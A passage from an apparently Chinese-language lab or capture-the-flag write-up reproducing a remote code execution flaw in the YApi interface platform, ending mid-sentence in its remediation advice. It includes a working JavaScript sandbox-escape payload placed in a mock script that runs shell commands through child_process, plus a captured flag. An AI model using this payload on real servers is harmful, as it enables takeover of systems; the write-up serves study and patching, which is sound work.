七、【漏洞复现】YApi接口管理平台远程代码执行漏洞
7.1、漏洞原理
若YApi对外开放注册功能,攻击者可在注册并登录后,通过构造特殊的请求执行任意代码,接管服务器。
7.2、影响版本
YApi<=V1.92 All
7.3、指纹识别
1.有注册登陆主页
2.使用指纹识别类平台识别。
7.4、漏洞复现
1.注册账号
2.新建项目-名称随意
3.新建接口-接口名称随意-接口路径为/随意
4.在高级mock中配置以下代码并开启
const sandbox = this const ObjectConstructor = this.constructor const FunctionConstructor = ObjectConstructor.constructor const myfun = FunctionConstructor('return process') const process = myfun() mockJson = process.mainModule.require("child_process").execSync("whoami").toString()
或者
注意上面这段代码的execsync()为命令执行函数 获取flag: mockJson = process.mainModule.require("child_process").execSync("ls /tmp").toString()
5.点击mock地址执行代码
flag:
flag-{bmh4e01cda3-7e32-4b21-9722-dc88499528a2}
7.5、修补建议
YApi接口管理平台存在一种远程代码执行漏洞。攻击者可以在注册并登录YApi后,通过构造特殊的请求来执行任意代码,从而接管服务器。这个漏洞可能会导致严重的安全风险,因此建议用户及时修复漏洞,更新到最新版本的YApi。
1、 更新至最新版本:1.12.0
2、 利用安全安全组设置Yapi仅对可信地址开放。
3、 编辑Yapi目录下的 c